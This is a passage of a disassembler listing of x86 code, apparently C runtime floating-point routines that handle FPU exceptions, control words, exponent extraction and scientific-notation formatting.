loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C870
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs

loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43C860
		jmp	short loc_421426
; ---------------------------------------------------------------------------

loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43C870
		fchs

loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43C870
		jmp	short loc_42144E
; ---------------------------------------------------------------------------

loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43C860
		fchs

loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C860
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs

loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]

loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]

loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx

loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------

loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------

loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx

loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx

loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx

loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h

loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F

loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]

loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------

loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx

loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx

loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh

loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh

loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx

loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB278, 22h
		retn
; ---------------------------------------------------------------------------

loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB278, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43C788

loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43C860
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43C78C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3

loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707

loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4

loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------

loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A

loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------

loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax

loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1

loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------

loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h

loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------

loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh

loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43C888
		fistp	[ebp+arg_0]
		wait

loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43C888
		fstp	[ebp+var_8]
		wait
		fstsw	ax

loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43C894
		fstp	[ebp+var_8]
		wait

loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427890
		fstp	[ebp+var_8]
		fld	dbl_427888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 2690E1Dh
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26C032Eh
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------

loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B

loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43C504, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------

loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF

loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43C508
		mov	al, [esi]
		mov	[esi], cl
		inc	esi

loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43C508
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951

loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945

loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982

loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------

loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax

loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax

loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43C8B0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB310, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB30C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------

loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h

loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax

loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43C508
		mov	eax, edi
		pop	edi
		mov	[eax], cl

loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB310, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h

loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh

loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl

loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB310, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB314
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB30C
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------

loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h

loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]

loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------

loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax

loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43C508
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB310, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------

